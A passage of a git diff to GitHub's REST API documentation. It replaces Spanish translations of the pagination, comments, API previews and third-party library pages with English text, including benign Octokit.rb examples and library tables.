client.search_code('addClass user:mozilla', :page => random_page) ``` -Si quisiéramos ponernos elegantes, podríamos también tomar la página anterior y posterior para generar los enlaces de los elementos anterior (`<<`) y posterior (`>>`): +If we wanted to get fancy, we could also grab the previous and next pages, in +order to generate links for back (`<<`) and forward (`>>`) elements: ``` ruby prev_page_href = client.last_response.rels[:prev] ? client.last_response.rels[:prev].href : "(none)" @@ -210,3 +263,4 @@ puts "The next page link is #{next_page_href}" [octokit.rb]: https://github.com/octokit/octokit.rb [personal token]: /articles/creating-an-access-token-for-command-line-use [hypermedia-relations]: https://github.com/octokit/octokit.rb#pagination +[listing commits]: /rest/reference/repos#list-commits diff --git a/translations/es-ES/content/rest/guides/working-with-comments.md b/translations/es-ES/content/rest/guides/working-with-comments.md index 5e13ef20f2..f1b2f1ee34 100644 --- a/translations/es-ES/content/rest/guides/working-with-comments.md +++ b/translations/es-ES/content/rest/guides/working-with-comments.md @@ -1,6 +1,6 @@ --- -title: Trabajar con los comentarios -intro: 'Puedes acceder y administrar los comentarios en tus solicitudes de extracción, informes de problemas o confirmaciones si utilizas la API de REST.' +title: Working with comments +intro: 'Using the REST API, you can access and manage comments in your pull requests, issues, or commits.' redirect_from: - /guides/working-with-comments/ - /v3/guides/working-with-comments @@ -15,17 +15,27 @@ topics: -Para cualquier solicitud de extracción, {% data variables.product.product_name %} proporciona tres tipos de visualizaciones de comentario: [comentarios en la solicitud de extracción][PR comment] integrales, [comentarios en una línea específica][PR line comment] dentro de la solicitud de extracción, y [comentarios sobre una confirmación específica][commit comment] dentro de la solicitud de extracción. +For any Pull Request, {% data variables.product.product_name %} provides three kinds of comment views: +[comments on the Pull Request][PR comment] as a whole, [comments on a specific line][PR line comment] within the Pull Request, +and [comments on a specific commit][commit comment] within the Pull Request. -Each of these types of comments goes through a different portion of the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API. En esta guía exploraremos cómo puedes acceder y manipular cada uno de ellos. En cada ejemplo utilizaremos [esta muestra de Solicitud de Extracción que se hizo][sample PR] en el repositorio de "octocat". Como siempre, puedes encontrar las muestras en [nuestro repositorio de platform-samples][platform-samples]. +Each of these types of comments goes through a different portion of the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API. +In this guide, we'll explore how you can access and manipulate each one. For every +example, we'll be using [this sample Pull Request made][sample PR] on the "octocat" +repository. As always, samples can be found in [our platform-samples repository][platform-samples]. -## Comentarios de las Solicitudes de Extracción +## Pull Request Comments -Para acceder a loscomentarios de una solicitud de cambios, deberás de pasar por la [API de propuestas][issues]. Esto puede parecer contraintuitivo al principio. Pero una vez que entiendes que una Solicitud de Extracción es solo un informe de problemas con código, tendrá sentido utuilizar la API de Informes de Problemas para crear comentarios en una solicitud de extracción. +To access comments on a Pull Request, you'll go through [the Issues API][issues]. +This may seem counterintuitive at first. But once you understand that a Pull +Request is just an Issue with code, it makes sense to use the Issues API to +create comments on a Pull Request. -Demostraremos cómo obtener comentarios de una solicitud de extracción mediante la creación de un script de Ruby que utilice [Octokit.rb][octokit.rb]. También deberás crear un [token de acceso personal][personal token]. +We'll demonstrate fetching Pull Request comments by creating a Ruby script using +[Octokit.rb][octokit.rb]. You'll also want to create a [personal access token][personal token]. -El código siguiente debería ayudarte a empezar a acceder a los comentarios de una solicitud de extracción utilizando Octokit.rb: +The following code should help you get started accessing comments from a Pull Request +using Octokit.rb: ``` ruby require 'octokit' @@ -43,13 +53,18 @@ client.issue_comments("octocat/Spoon-Knife", 1176).each do |comment| end ``` -Aquí estamos llamando específicamente a la API de Informes de problemas para obtener los comentarios (`issue_comments`), proporcionando tanto el nombre del repositorio (`octocat/Spoon-Knife`) como la ID de la solicitud de extracción en la que estamos interesados (`1176`). Después, solo es cuestión de iterar a través de los comentarios para obtener la información sobre cada uno. +Here, we're specifically calling out to the Issues API to get the comments (`issue_comments`), +providing both the repository's name (`octocat/Spoon-Knife`), and the Pull Request ID +we're interested in (`1176`). After that, it's simply a matter of iterating through +the comments to fetch information about each one. -## Comentarios en una línea de una solicitud de extracción +## Pull Request Comments on a Line -Dentro de la vista de diferencias, puedes iniciar un debate sobre algún aspecto específico de un cambio particular que se haya hecho dentro de la solicitud de extracción. Estos comentarios ocurren en las líneas individuales dentro de un archivo que ha cambiado. La URL de la terminal para este debate veien de [la API de Revisión de Solicitudes de Cambios][PR Review API]. +Within the diff view, you can start a discussion on a particular aspect of a singular +change made within the Pull Request. These comments occur on the individual lines +within a changed file. The endpoint URL for this discussion comes from [the Pull Request Review API][PR Review API]. -El código siguiente obtiene todos los comentarios de la solicitud de extracción que se hayan hecho en los archivos, si se le da un número particular de solicitud de extracción: +The following code fetches all the Pull Request comments made on files, given a single Pull Request number: ``` ruby require 'octokit' @@ -69,13 +84,19 @@ client.pull_request_comments("octocat/Spoon-Knife", 1176).each do |comment| end ``` -Te darás cuenta de que es increíblemente similar al ejemplo anterior. La diferencia entre esta vista y el comentario de la solicitud de extracción es el enfoque de la conversación. El comentario que se haga en una solicitud de extracción deberá reservarse para debatir ideas sobre el enfoque general del código. Cualquier comentario que se haga como parte de una revisión de una Solicitud de Extracción deberá tratar específicamente la forma en la que se implementa un cambio específico dentro de un archivo. +You'll notice that it's incredibly similar to the example above. The difference +between this view and the Pull Request comment is the focus of the conversation. +A comment made on a Pull Request should be reserved for discussion or ideas on +the overall direction of the code. A comment made as part of a Pull Request review should +deal specifically with the way a particular change was implemented within a file. -## Comentarios de las confirmaciones +## Commit Comments -El último tipo de comentarios suceden específicamente en confirmaciones individuales. Es por esto que utilizan [la API de comentarios de las confirmaciones][commit comment API]. +The last type of comments occur specifically on individual commits. For this reason, +they make use of [the commit comment API][commit comment API]. -Para recuperar los comentarios en una confirmación, necesitarás utilizar el SHA1 de ésta. Es decir, no utilizarás ningún identificador relacionado con la Solicitud de Extracción. Aquí hay un ejemplo: +To retrieve the comments on a commit, you'll want to use the SHA1 of the commit. +In other words, you won't use any identifier related to the Pull Request. Here's an example: ``` ruby require 'octokit' @@ -93,7 +114,8 @@ client.commit_comments("octocat/Spoon-Knife", "cbc28e7c8caee26febc8c013b0adfb97a end ``` -Ten en cuenta que esta llamada a la API recuperará comentarios de una sola línea, así como aquellos que se hagan en toda la confirmación. +Note that this API call will retrieve single line comments, as well as comments made +on the entire commit. [PR comment]: https://github.com/octocat/Spoon-Knife/pull/1176#issuecomment-24114792 [PR line comment]: https://github.com/octocat/Spoon-Knife/pull/1176#discussion_r6252889 diff --git a/translations/es-ES/content/rest/overview/api-previews.md b/translations/es-ES/content/rest/overview/api-previews.md index 3b524d092a..54bb112651 100644 --- a/translations/es-ES/content/rest/overview/api-previews.md +++ b/translations/es-ES/content/rest/overview/api-previews.md @@ -1,6 +1,6 @@ --- -title: Vistas previas de la API -intro: Puedes utilizar las vistas previas de la API para probar características nuevas y proporcionar retroalimentación antes de que dichas características se hagan oficiales. +title: API previews +intro: You can use API previews to try out new features and provide feedback before these features become official. redirect_from: - /v3/previews versions: @@ -13,208 +13,230 @@ topics: --- -Las vistas previas de la API te permiten probar API nuevas y cambios a los métodos existentes de las API antes de que se hagan oficiales en la API de GitHub. +API previews let you try out new APIs and changes to existing API methods before they become part of the official GitHub API. -Durante el periodo de vista previa, podríamos cambiar algunas características con base en la retroalimentación de los desarrolladores. Si realizamos cambios, lo anunciaremos en el [blog de desarrolladores](https://developer.github.com/changes/) sin aviso previo. +During the preview period, we may change some features based on developer feedback. If we do make changes, we'll announce them on the [developer blog](https://developer.github.com/changes/) without advance notice. -Para acceder a la vista previa de las API, necesitarás proporcionar un [tipo de medios](/rest/overview/media-types) personalizado en el encabezado `Accept` para tus solicitudes. La documentación de características para cada vista previa especifica qué tipo de medios personalizados proporcionar. +To access an API preview, you'll need to provide a custom [media type](/rest/overview/media-types) in the `Accept` header for your requests. Feature documentation for each preview specifies which custom media type to provide. {% ifversion ghes < 3.3 %} -## Despliegues ampliados +## Enhanced deployments -Ejerce mayo control sobre los [despliegues](/rest/reference/repos#deployments) con más información y granularidad más fina. +Exercise greater control over [deployments](/rest/reference/repos#deployments) with more information and finer granularity. -**Tipo de medios personalizados:** `ant-man-preview` **Anunciado en:**[2016-04-06](https://developer.github.com/changes/2016-04-06-deployment-and-deployment-status-enhancements/) +**Custom media type:** `ant-man-preview` +**Announced:** [2016-04-06](https://developer.github.com/changes/2016-04-06-deployment-and-deployment-status-enhancements/) {% endif %} {% ifversion ghes < 3.3 %} -## Reacciones +## Reactions -Administra las [reacciones](/rest/reference/reactions) para las confirmaciones, informes de problemas y comentarios. +Manage [reactions](/rest/reference/reactions) for commits, issues, and comments. -**Tipo de medios personalizado:** `squirrel-girl-preview` **Anunciado en:** [2016-05-12](https://developer.github.com/changes/2016-05-12-reactions-api-preview/) **Actualizado en:** [2016-06-07](https://developer.github.com/changes/2016-06-07-reactions-api-update/) +**Custom media type:** `squirrel-girl-preview` +**Announced:** [2016-05-12](https://developer.github.com/changes/2016-05-12-reactions-api-preview/) +**Update:** [2016-06-07](https://developer.github.com/changes/2016-06-07-reactions-api-update/) {% endif %} {% ifversion ghes < 3.3 %} -## Línea de tiempo +## Timeline -Obtén una [lista de eventos](/rest/reference/issues#timeline) para un informe de problemas o solictud de extracción. +Get a [list of events](/rest/reference/issues#timeline) for an issue or pull request. -**Tipo de medios personalizados:** `mockingbird-preview` **Anunciado en:**[2016-05-23](https://developer.github.com/changes/2016-05-23-timeline-preview-api/) +**Custom media type:** `mockingbird-preview` +**Announced:** [2016-05-23](https://developer.github.com/changes/2016-05-23-timeline-preview-api/) {% endif %} {% ifversion ghes %} -## Ambientes de pre-recepción +## Pre-receive environments -Crea, lista, actualiza y borra ambientes para los ganchos de pre-recepción. +Create, list, update, and delete environments for pre-receive hooks. -**Tipo de medios personalizados:** `eye-scream-preview` **Anunciado en:**[2015-07-29](/rest/reference/enterprise-admin#pre-receive-environments) +**Custom media type:** `eye-scream-preview` +**Announced:** [2015-07-29](/rest/reference/enterprise-admin#pre-receive-environments) {% endif %} {% ifversion ghes < 3.3 %} -## Proyectos +## Projects -Administra [proyectos](/rest/reference/projects). +Manage [projects](/rest/reference/projects). -**Tipo de medios personalizado:** `inertia-preview` **Anunciado en:** [2016-09-14](https://developer.github.com/changes/2016-09-14-projects-api/) **Actualizado en:** [2016-10-27](https://developer.github.com/changes/2016-10-27-changes-to-projects-api/) +**Custom media type:** `inertia-preview` +**Announced:** [2016-09-14](https://developer.github.com/changes/2016-09-14-projects-api/) +**Update:** [2016-10-27](https://developer.github.com/changes/2016-10-27-changes-to-projects-api/) {% endif %} {% ifversion ghes < 3.3 %} -## Búsqueda de confirmación +## Commit search -[Busca confirmaciones](/rest/reference/search). +[Search commits](/rest/reference/search). -**Tipo de medios personalizados:** `cloak-preview` **Anunciado en:**[2017-01-05](https://developer.github.com/changes/2017-01-05-commit-search-api/) +**Custom media type:** `cloak-preview` +**Announced:** [2017-01-05](https://developer.github.com/changes/2017-01-05-commit-search-api/) {% endif %} {% ifversion ghes < 3.3 %} -## Temas del repositorio +## Repository topics -Ver una lista de los [temas del repositorio](/articles/about-topics/) en [llamadas](/rest/reference/repos) que devuelven los resultados del mismo. +View a list of [repository topics](/articles/about-topics/) in [calls](/rest/reference/repos) that return repository results. -**Tipo de medios personalizados:** `mercy-preview` **Anunciado en:**[2017-01-31](https://github.com/blog/2309-introducing-topics) +**Custom media type:** `mercy-preview` +**Announced:** [2017-01-31](https://github.com/blog/2309-introducing-topics) {% endif %} {% ifversion ghes < 3.3 %} -## Códigos de conducta +## Codes of conduct -Ver todos los [códigos de conducta](/rest/reference/codes-of-conduct) u obtener qué código de conducta tiene actualmente un repositorio. +View all [codes of conduct](/rest/reference/codes-of-conduct) or get which code of conduct a repository has currently. -**Tipo de medios personalizado:** `scarlet-witch-preview` +**Custom media type:** `scarlet-witch-preview` {% endif %} {% ifversion ghae or ghes %} -## Webhooks globales +## Global webhooks -Habilita los [webhooks globales](/rest/reference/enterprise-admin#global-webhooks/) para una [organización](/webhooks/event-payloads/#organization) y para los tipos de evento del [usuario](/webhooks/event-payloads/#user). Esta vista previa de la API solo está disponible para {% data variables.product.prodname_ghe_server %}. +Enables [global webhooks](/rest/reference/enterprise-admin#global-webhooks/) for [organization](/webhooks/event-payloads/#organization) and [user](/webhooks/event-payloads/#user) event types. This API preview is only available for {% data variables.product.prodname_ghe_server %}. -**Tipo de medios personalizados:** `superpro-preview` **Anunciado en:**[2017-12-12](/rest/reference/enterprise-admin#global-webhooks) +**Custom media type:** `superpro-preview` +**Announced:** [2017-12-12](/rest/reference/enterprise-admin#global-webhooks) {% endif %} {% ifversion ghes < 3.3 %} -## Requerir confirmaciones firmadas +## Require signed commits -Ahora puedes utilizar la API para administrar la configuración para [requerir confirmaciones firmadas en ramas protegidas](/rest/reference/repos#branches). +You can now use the API to manage the setting for [requiring signed commits on protected branches](/rest/reference/repos#branches). -**Tipo de medios personalizados:** `zzzax-preview` **Anunciado en:**[2018-02-22](https://developer.github.com/changes/2018-02-22-protected-branches-required-signatures) +**Custom media type:** `zzzax-preview` +**Announced:** [2018-02-22](https://developer.github.com/changes/2018-02-22-protected-branches-required-signatures) {% endif %} {% ifversion ghes < 3.3 %} -## Requerir múltiples revisiones de aprobación +## Require multiple approving reviews -Ahora puedes [requerir múltiples revisiones de aprobación](/rest/reference/repos#branches) para una solicitud de extracción que utilice la API. +You can now [require multiple approving reviews](/rest/reference/repos#branches) for a pull request using the API. -**Tipo de medios personalizados:** `luke-cage-preview` **Anunciado en:**[2018-03-16](https://developer.github.com/changes/2018-03-16-protected-branches-required-approving-reviews) +**Custom media type:** `luke-cage-preview` +**Announced:** [2018-03-16](https://developer.github.com/changes/2018-03-16-protected-branches-required-approving-reviews) {% endif %} {% ifversion ghes %} -## Acceso anónimo de Git a los repositorios +## Anonymous Git access to repositories -Cuando una instancia de {% data variables.product.prodname_ghe_server %} está en modo privado, los administradores de sitio y de repositorio pueden habilitar el acceso anónimo de Git para los repositorios públicos. +When a {% data variables.product.prodname_ghe_server %} instance is in private mode, site and repository administrators can enable anonymous Git access for a public repository. -**Tipo de medios personalizados:** `x-ray-preview` **Anunciado en:**[2018-07-12](https://blog.github.com/2018-07-12-introducing-enterprise-2-14/) +**Custom media type:** `x-ray-preview` +**Announced:** [2018-07-12](https://blog.github.com/2018-07-12-introducing-enterprise-2-14/) {% endif %} {% ifversion ghes < 3.3 %} -## Detalles de la tarjeta de proyecto +## Project card details -Las respuestas de la API de REST para los [eventos de los informes de problemas](/rest/reference/issues#events) y para [los eventos de la línea de tiempo de los informes de problemas](/rest/reference/issues#timeline) ahora devuelven el campo `project_card` para los eventos relacionados con los proyectos. +The REST API responses for [issue events](/rest/reference/issues#events) and [issue timeline events](/rest/reference/issues#timeline) now return the `project_card` field for project-related events. -**Tipo de medios personalizados:** `starfox-preview` **Anunciado en:**[2018-09-05](https://developer.github.com/changes/2018-09-05-project-card-events) +**Custom media type:** `starfox-preview` +**Announced:** [2018-09-05](https://developer.github.com/changes/2018-09-05-project-card-events) {% endif %} {% ifversion fpt or ghec %} -## Manifiestos de las GitHub Apps +## GitHub App Manifests -Los Manifiestos de las GitHub Apps permiten a las personas crear GitHub Apps preconfiguradas. Consulta la sección "[Crear GitHub Apps desde un manifiesto](/apps/building-github-apps/creating-github-apps-from-a-manifest/)" para obtener más detalles. +GitHub App Manifests allow people to create preconfigured GitHub Apps. See "[Creating GitHub Apps from a manifest](/apps/building-github-apps/creating-github-apps-from-a-manifest/)" for more details. -**Tipo de medios personalizado:** `fury-preview` +**Custom media type:** `fury-preview` {% endif %} {% ifversion ghes < 3.3 %} -## Estados de despliegue +## Deployment statuses -Ahora puedes actualizar el `environment` de un [estado de despliegue](/rest/reference/repos#create-a-deployment-status) y utilizar los estados de `in_progress` y `queued`. Cuando creas estados de despliegue, ahora puedes utilizar el parámetro `auto_inactive` para marcar los despliegues de `production` antiguos como `inactive`. +You can now update the `environment` of a [deployment status](/rest/reference/repos#create-a-deployment-status) and use the `in_progress` and `queued` states. When you create deployment statuses, you can now use the `auto_inactive` parameter to mark old `production` deployments as `inactive`. -**Tipo de medios personalizados:** `flash-preview` **Anunciado en:**[2018-10-16](https://developer.github.com/changes/2018-10-16-deployments-environments-states-and-auto-inactive-updates/) +**Custom media type:** `flash-preview` +**Announced:** [2018-10-16](https://developer.github.com/changes/2018-10-16-deployments-environments-states-and-auto-inactive-updates/) {% endif %} {% ifversion ghes < 3.3 %} -## Permisos de creación de repositorios +## Repository creation permissions -Ahora puedes configurar si los miembros de la organización pueden crear repositorios y decidir qué tipos de éstos pueden crear. Consulta la sección "[Actualizar una organización](/rest/reference/orgs#update-an-organization)" para obtener más detalles. +You can now configure whether organization members can create repositories and which types of repositories they can create. See "[Update an organization](/rest/reference/orgs#update-an-organization)" for more details. -**Tipo de medios personalizados:** `surtur-preview` **Anunciado en:**[2019-12-03](https://developer.github.com/changes/2019-12-03-internal-visibility-changes/) +**Custom media types:** `surtur-preview` +**Announced:** [2019-12-03](https://developer.github.com/changes/2019-12-03-internal-visibility-changes/) {% endif %} -## Adjuntos de contenido +## Content attachments -Ahora puedes proporcionar más información en GitHub para las URL que enlazan a los dominios registrados si utilizas la API {% data variables.product.prodname_unfurls %}. Consulta la sección "[Utilizar adjuntos de contenido](/apps/using-content-attachments/)" para obtener más detalles. +You can now provide more information in GitHub for URLs that link to registered domains by using the {% data variables.product.prodname_unfurls %} API. See "[Using content attachments](/apps/using-content-attachments/)" for more details. -**Tipo de medios personalizados:** `corsair-preview` **Anunciado en:**[2018-12-10](https://developer.github.com/changes/2018-12-10-content-attachments-api/) +**Custom media types:** `corsair-preview` +**Announced:** [2018-12-10](https://developer.github.com/changes/2018-12-10-content-attachments-api/) -{% ifversion ghes < 3.3 %} +{% ifversion ghae or ghes < 3.3 %} -## Habilitar e inhabilitar las páginas +## Enable and disable Pages -Puedes utilizar las terminales nuevas en la [API de páginas](/rest/reference/repos#pages) para habilitar o inhabilitar las Páginas. Para aprender más sobre las páginas, consulta la sección "[Fundamentos de GitHub Pages](/categories/github-pages-basics)". +You can use the new endpoints in the [Pages API](/rest/reference/repos#pages) to enable or disable Pages. To learn more about Pages, see "[GitHub Pages Basics](/categories/github-pages-basics)". -**Tipo de medios personalizados:** `switcheroo-preview` **Anunciado en:**[2019-03-14](https://developer.github.com/changes/2019-03-14-enabling-disabling-pages/) +**Custom media types:** `switcheroo-preview` +**Announced:** [2019-03-14](https://developer.github.com/changes/2019-03-14-enabling-disabling-pages/) {% endif %} {% ifversion ghes < 3.3 %} -## Listar ramas o solicitudes de extracción para una confirmación +## List branches or pull requests for a commit -Puedes utilizar dos terminales nuevas en la [API de Confirmaciones](/rest/reference/repos#commits) para listar las ramas o las solicitudes de extracción para una confirmación. +You can use two new endpoints in the [Commits API](/rest/reference/repos#commits) to list branches or pull requests for a commit. -**Tipo de medios personalizados:** `groot-preview` **Anunciado en:**[2019-04-11](https://developer.github.com/changes/2019-04-11-pulls-branches-for-commit/) +**Custom media types:** `groot-preview` +**Announced:** [2019-04-11](https://developer.github.com/changes/2019-04-11-pulls-branches-for-commit/) {% endif %} {% ifversion ghes < 3.3 %} -## Actualizar la rama de una solicitud de extracción +## Update a pull request branch -Puedes utilizar una terminal nueva para [actualizar una rama de una solicitud de extracción](/rest/reference/pulls#update-a-pull-request-branch) con cambios desde el HEAD de la rama ascendente. +You can use a new endpoint to [update a pull request branch](/rest/reference/pulls#update-a-pull-request-branch) with changes from the HEAD of the upstream branch. -**Tipo de medios personalizados:** `lydian-preview` **Anunciado en:**[2019-05-29](https://developer.github.com/changes/2019-05-29-update-branch-api/) +**Custom media types:** `lydian-preview` +**Announced:** [2019-05-29](https://developer.github.com/changes/2019-05-29-update-branch-api/) {% endif %} {% ifversion ghes < 3.3 %} -## Crear y utilizar plantillas de repositorio +## Create and use repository templates -Puedes Puedes utilizar una terminal nueva para [crear un repositorio utilizando una plantilla](/rest/reference/repos#create-a-repository-using-a-template) y para [crear un repositorio para el usuario autenticado](/rest/reference/repos#create-a-repository-for-the-authenticated-user) que constituye un repositorio de plantilla si configuras el parámetro `is_template` como `true`. [Obten un repositorio](/rest/reference/repos#get-a-repository) para verificar si se configuró como un repositorio de plantilla utilizando la clave `is_template`. +You can use a new endpoint to [Create a repository using a template](/rest/reference/repos#create-a-repository-using-a-template) and [Create a repository for the authenticated user](/rest/reference/repos#create-a-repository-for-the-authenticated-user) that is a template repository by setting the `is_template` parameter to `true`. [Get a repository](/rest/reference/repos#get-a-repository) to check whether it's set as a template repository using the `is_template` key. -**Tipos de medios personalizados:** `baptiste-preview` **Anunciado en:**[2019-07-05](https://developer.github.com/changes/2019-07-16-repository-templates-api/) +**Custom media types:** `baptiste-preview` +**Announced:** [2019-07-05](https://developer.github.com/changes/2019-07-16-repository-templates-api/) {% endif %} {% ifversion ghes < 3.3 %} -## Parámetro de visibilidad nuevo para la API de Repositorios +## New visibility parameter for the Repositories API -Puedes configurar y recuperar la visibilidad de un repositorio en la [API de Repositorios](/rest/reference/repos). +You can set and retrieve the visibility of a repository in the [Repositories API](/rest/reference/repos). -**Tipo de medios personalizados:** `nebula-preview` **Anunciado en:**[2019-11-25](https://developer.github.com/changes/2019-12-03-internal-visibility-changes/) +**Custom media types:** `nebula-preview` +**Announced:** [2019-11-25](https://developer.github.com/changes/2019-12-03-internal-visibility-changes/) {% endif %} diff --git a/translations/es-ES/content/rest/overview/libraries.md b/translations/es-ES/content/rest/overview/libraries.md index 32885b92f5..8233373761 100644 --- a/translations/es-ES/content/rest/overview/libraries.md +++ b/translations/es-ES/content/rest/overview/libraries.md @@ -1,5 +1,5 @@ --- -title: Bibliotecas +title: Libraries intro: 'You can use the official Octokit library and other third-party libraries to extend and simplify how you use the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API.' redirect_from: - /libraries/ @@ -14,9 +14,9 @@ topics: ---
                - El Gundamcat -

                El Octokit tiene muchos sabores

                -

                Utiliza la biblioteca oficial de Octokit, o elige entre cualquiera de las bibliotecas de terceros disponibles.

                + The Gundamcat +

                Octokit comes in many flavors

                +

                Use the official Octokit library, or choose between any of the available third party libraries.


                Ruby → octokit.rb

                .NET → octokit.net

                @@ -24,130 +24,130 @@ topics:
                -# Librería de terceros +# Third-party libraries ### Clojure -| Nombre de la librería | Repositorio | -| --------------------- | ------------------------------------------------------- | -| **Tentacles** | [Raynes/tentacles](https://github.com/Raynes/tentacles) | +| Library name | Repository | +|---|---| +|**Tentacles**| [Raynes/tentacles](https://github.com/Raynes/tentacles)| ### Dart -| Nombre de la librería | Repositorio | -| --------------------- | ----------------------------------------------------------------------- | -| **github.dart** | [DirectMyFile/github.dart](https://github.com/DirectMyFile/github.dart) | +| Library name | Repository | +|---|---| +|**github.dart** | [DirectMyFile/github.dart](https://github.com/DirectMyFile/github.dart)| ### Emacs Lisp -| Nombre de la librería | Repositorio | -| --------------------- | --------------------------------------------- | -| **gh.el** | [sigma/gh.el](https://github.com/sigma/gh.el) | +| Library name | Repository | +|---|---| +|**gh.el** | [sigma/gh.el](https://github.com/sigma/gh.el)| ### Erlang -| Nombre de la librería | Repositorio | -| --------------------- | ------------------------------------------------------- | -| **octo-erl** | [sdepold/octo.erl](https://github.com/sdepold/octo.erl) | +| Library name | Repository | +|---|---| +|**octo-erl** | [sdepold/octo.erl](https://github.com/sdepold/octo.erl)| ### Go -| Nombre de la librería | Repositorio | -| --------------------- | ------------------------------------------------------- | -| **go-github** | [google/go-github](https://github.com/google/go-github) | +| Library name | Repository | +|---|---| +|**go-github**| [google/go-github](https://github.com/google/go-github)| ### Haskell -| Nombre de la librería | Repositorio | -| --------------------- | --------------------------------------------- | -| **haskell-github** | [fpco/Github](https://github.com/fpco/GitHub) | +| Library name | Repository | +|---|---| +|**haskell-github** | [fpco/Github](https://github.com/fpco/GitHub)| ### Java -| Nombre de la librería | Repositorio | Más información | -| ---------------------------- | ----------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- | -| **API de GitHub para Java** | [org.kohsuke.github (Desde github-api)](http://github-api.kohsuke.org/) | define una representación orientada a objetos de la API de GitHub. | -| **API de GitHub para JCabi** | [github.jcabi.com (Sitio web personal)](http://github.jcabi.com) | se basa en la API de JSON para Java7 (HSR-353), simplifica pruebas con una muestra del tiempo de ejecución de GitHub y cubre toda la API. | +| Library name | Repository | More information | +|---|---|---| +|**GitHub API for Java**| [org.kohsuke.github (From github-api)](http://github-api.kohsuke.org/)|defines an object oriented representation of the GitHub API.| +|**JCabi GitHub API**|[github.jcabi.com (Personal Website)](http://github.jcabi.com)|is based on Java7 JSON API (JSR-353), simplifies tests with a runtime GitHub stub, and covers the entire API.| ### JavaScript -| Nombre de la librería | Repositorio | -| ------------------------------------------------------------------------- | ----------------------------------------------------------------------- | -| **Biblioteca de NodeJS de GitHub** | [pksunkara/octonode](https://github.com/pksunkara/octonode) | -| **programa de seguridad gh3 de la API v3 de lado del cliente** | [k33g/gh3](https://github.com/k33g/gh3) | -| **El wrapper de Github.js sobre la API de GitHub** | [michael/github](https://github.com/michael/github) | -| **Librería de CoffeeScript basada en Promise para el buscador de NodeJS** | [philschatz/github-client](https://github.com/philschatz/github-client) | +| Library name | Repository | +|---|---| +|**NodeJS GitHub library**| [pksunkara/octonode](https://github.com/pksunkara/octonode)| +|**gh3 client-side API v3 wrapper**| [k33g/gh3](https://github.com/k33g/gh3)| +|**Github.js wrapper around the GitHub API**|[michael/github](https://github.com/michael/github)| +|**Promise-Based CoffeeScript library for the Browser or NodeJS**|[philschatz/github-client](https://github.com/philschatz/github-client)| ### Julia -| Nombre de la librería | Repositorio | -| --------------------- | ----------------------------------------------------------- | -| **GitHub.jl** | [JuliaWeb/GitHub.jl](https://github.com/JuliaWeb/GitHub.jl) | +| Library name | Repository | +|---|---| +|**GitHub.jl**|[JuliaWeb/GitHub.jl](https://github.com/JuliaWeb/GitHub.jl)| ### OCaml -| Nombre de la librería | Repositorio | -| --------------------- | ------------------------------------------------------------- | -| **ocaml-github** | [mirage/ocaml-github](https://github.com/mirage/ocaml-github) | +| Library name | Repository | +|---|---| +|**ocaml-github**|[mirage/ocaml-github](https://github.com/mirage/ocaml-github)| ### Perl -| Nombre de la librería | Repositorio | sitio web de metacpan para la librería | -| --------------------- | --------------------------------------------------------------------- | ------------------------------------------------------- | -| **Pithub** | [plu/Pithub](https://github.com/plu/Pithub) | [Pithub CPAN](http://metacpan.org/module/Pithub) | -| **Net::GitHub** | [fayland/perl-net-github](https://github.com/fayland/perl-net-github) | [Net:GitHub CPAN](https://metacpan.org/pod/Net::GitHub) | +| Library name | Repository | metacpan Website for the Library | +|---|---|---| +|**Pithub**|[plu/Pithub](https://github.com/plu/Pithub)|[Pithub CPAN](http://metacpan.org/module/Pithub)| +|**Net::GitHub**|[fayland/perl-net-github](https://github.com/fayland/perl-net-github)|[Net:GitHub CPAN](https://metacpan.org/pod/Net::GitHub)| ### PHP -| Nombre de la librería | Repositorio | -| ---------------------------------- | --------------------------------------------------------------------------------- | -| **PHP GitHub API** | [KnpLabs/php-github-api](https://github.com/KnpLabs/php-github-api) | -| **Paquete de Joomla! Para GitHub** | [joomla-framework/github-api](https://github.com/joomla-framework/github-api) | -| **Puente de GitHub para Laravel** | [GrahamCampbell/Laravel-GitHub](https://github.com/GrahamCampbell/Laravel-GitHub) | +| Library name | Repository | +|---|---| +|**PHP GitHub API**|[KnpLabs/php-github-api](https://github.com/KnpLabs/php-github-api)| +|**GitHub Joomla! Package**|[joomla-framework/github-api](https://github.com/joomla-framework/github-api)| +|**GitHub bridge for Laravel**|[GrahamCampbell/Laravel-GitHub](https://github.com/GrahamCampbell/Laravel-GitHub)| ### PowerShell -| Nombre de la librería | Repositorio | -| ----------------------- | --------------------------------------------------------------------------------- | -| **PowerShellForGitHub** | [microsoft/PowerShellForGitHub](https://github.com/microsoft/PowerShellForGitHub) | +| Library name | Repository | +|---|---| +|**PowerShellForGitHub**|[microsoft/PowerShellForGitHub](https://github.com/microsoft/PowerShellForGitHub)| ### Python -| Nombre de la librería | Repositorio | -| --------------------- | ---------------------------------------------------------------------- | -| **gidgethub** | [brettcannon/gidgethub](https://github.com/brettcannon/gidgethub) | -| **ghapi** | [fastai/ghapi](https://github.com/fastai/ghapi) | -| **PyGithub** | [PyGithub/PyGithub](https://github.com/PyGithub/PyGithub) | -| **libsaas** | [duckboard/libsaas](https://github.com/ducksboard/libsaas) | -| **github3.py** | [sigmavirus24/github3.py](https://github.com/sigmavirus24/github3.py) | -| **sanction** | [demianbrecht/sanction](https://github.com/demianbrecht/sanction) | -| **agithub** | [jpaugh/agithub](https://github.com/jpaugh/agithub) | -| **octohub** | [turnkeylinux/octohub](https://github.com/turnkeylinux/octohub) | -| **github-flask** | [github-flask (Official Website)](http://github-flask.readthedocs.org) | -| **torngithub** | [jkeylu/torngithub](https://github.com/jkeylu/torngithub) | +| Library name | Repository | +|---|---| +|**gidgethub**|[brettcannon/gidgethub](https://github.com/brettcannon/gidgethub)| +|**ghapi**|[fastai/ghapi](https://github.com/fastai/ghapi)| +|**PyGithub**|[PyGithub/PyGithub](https://github.com/PyGithub/PyGithub)| +|**libsaas**|[duckboard/libsaas](https://github.com/ducksboard/libsaas)| +|**github3.py**|[sigmavirus24/github3.py](https://github.com/sigmavirus24/github3.py)| +|**sanction**|[demianbrecht/sanction](https://github.com/demianbrecht/sanction)| +|**agithub**|[jpaugh/agithub](https://github.com/jpaugh/agithub)| +|**octohub**|[turnkeylinux/octohub](https://github.com/turnkeylinux/octohub)| 